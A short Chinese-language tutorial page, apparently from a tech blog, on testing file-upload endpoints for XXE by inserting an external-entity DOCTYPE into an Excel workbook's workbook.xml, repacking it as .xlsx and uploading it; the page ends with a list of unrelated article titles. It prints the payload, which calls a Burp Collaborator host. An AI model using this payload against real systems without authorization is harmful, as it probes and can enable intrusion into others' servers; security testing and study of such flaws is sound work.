当前位置: 首页 > news >正文

利用EXCEL进行XXE攻击

利用EXCEL进行XXE攻击

  • 原因

原因

Microsoft Office从2007版本引入了新的开放的XML文件格式,新的XML文件格式基于压缩的ZIP文件格式规范,由许多部分组成。

我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件,可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。

我们创建一个excle,并解压

xl/drawings/drawing1.xml
xl/worksheets/sheet1.xml
xl/worksheets/_rels/sheet1.xml.rels
xl/sharedStrings.xml
xl/styles.xml
xl/workbook.xml
xl/_rels/workbook.xml.rels
_rels/.rels
[Content_Types].xml

在这里插入图片描述
需要修改workbook.xml文件,以下内容插入第2行和第3行,SYSTEM后面自己添加相对应的dns记录均可,我习惯使用burp的collaborator模块

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>

添加好后重新打包成excle的后缀,如xxe.xlsx
此时恶意文件就做好了,找到对应的文件上传的接口,直接上传excle文件,观察dns是否有记录

http://www.lryc.cn/news/175819.html

相关文章:

  • 芯片验证就是一次旅行
  • Java深入理解线程的三大特性
  • 2025快手校招面试真题汇总及其解答(二)
  • PHP生成带中文的图片
  • java框架-Dubbo
  • Vue+iview 组件中通过v-for循环动态生成form表单进行表单校验
  • sns.load_dataset(“iris“)报错原因探究+解决办法
  • python回文素数
  • 纽扣电池16CRF1700.15,16CFR1700.20,ANSI C18.3M如何申请?
  • 10.12广州见 | 第十六届智慧城市大会报名通道全面开启
  • 2023-油猴(Tampermonkey)脚本推荐
  • 某度sign参数逆向
  • 【选型】JAVA生成PPT及选型
  • LPA*算法图文详解
  • 【Unity的HDRP渲染管线下实现好用的GUI模糊和外描边流光效果_Blur_OutLine_案例分享(内附源码)】
  • 电脑D盘格式化会有什么影响?电脑D盘格式化了怎么恢复数据
  • 【Spring】多环境切换
  • python经典百题之求10000之内的素数
  • ROS2 从头开始:第 5 部分 - 并发、执行器和回调组
  • 笔试强训Day3
  • 软考软件设计师-存储管理-文件管理-计算机网络(中
  • Vue3的学习
  • 什么是Peppol ID?如何创建?
  • Spring注解大揭秘:@Component、@Service、@Repository详解
  • Innodb底层原理与Mysql日志机制
  • 浅谈大数据背景下用户侧用电数据在电力系统的应用与发展分析
  • 20230919在WIN10下使用python3将PDF文档转为DOCX格式的WORD文档
  • PCR检测试剂——博迈伦
  • spring一个项目多个模块聚合打包问题解决方案
  • Linux设备树(Device Tree)何时被解析